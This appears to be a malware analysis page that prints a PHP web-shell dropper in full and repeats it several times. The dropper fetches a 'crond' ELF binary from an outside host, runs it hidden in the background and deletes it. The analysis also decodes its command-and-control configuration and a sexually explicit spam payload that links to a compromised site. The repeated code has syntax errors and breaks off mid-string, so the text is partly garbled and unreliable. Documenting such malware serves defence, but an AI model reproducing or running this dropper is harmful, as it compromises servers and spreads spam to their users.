$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}

</syntaxhighlight>

The attacker will see the following outputs:

<syntaxhighlight lang="text">
<shchzzz>
<inf step=3 data=x64>
<inf step=4 data=downok>
<inf step=5 data=done data2=XXX>
</shchzzz>
</syntaxhighlight>

where XXX is the return code of the shell exec which attempts to run:

<syntaxhighlight lang="text">
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
</syntaxhighlight>

The <code>XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.

The decoded value of the environment variable:
<syntaxhighlight lang="text">
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touchpadz.com/aa2.php</bu><su>http://stat.touchpadz.com/gj13.php</su><ldb>wb_001</ldb><kk>38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c</kk>
</syntaxhighlight>

There are three URLs that the program will fetch data from.
# lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk'''
# bu: http://bat.touchpadz.com/aa2.php
# su: http://stat.touchpadz.com/gj13.php

The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.

The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.
<syntaxhighlight lang="text">
<USER>lula_burton</USER>
<NAME>"Lula Burton"</NAME>
<SUBJ>Fw: Hairy pussy girl undress panties</SUBJ>
<SBODY>
<div>
<p><a href="http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%">Hairy pussy girl undress panties</a></p>
combat, why none of us would be here. Thanks guys. Mission complete
</div>
</SBODY>
</syntaxhighlight>

The <code>su</code> URL will return the exploit URL that contains the PHP spammer.
<syntaxhighlight lang="text">
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php
</syntaxhighlight>

PHP Shell Exploit

2015-05-06T03:52:48Z

10.1.1.3:

<syntaxhighlight lang="php">
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6N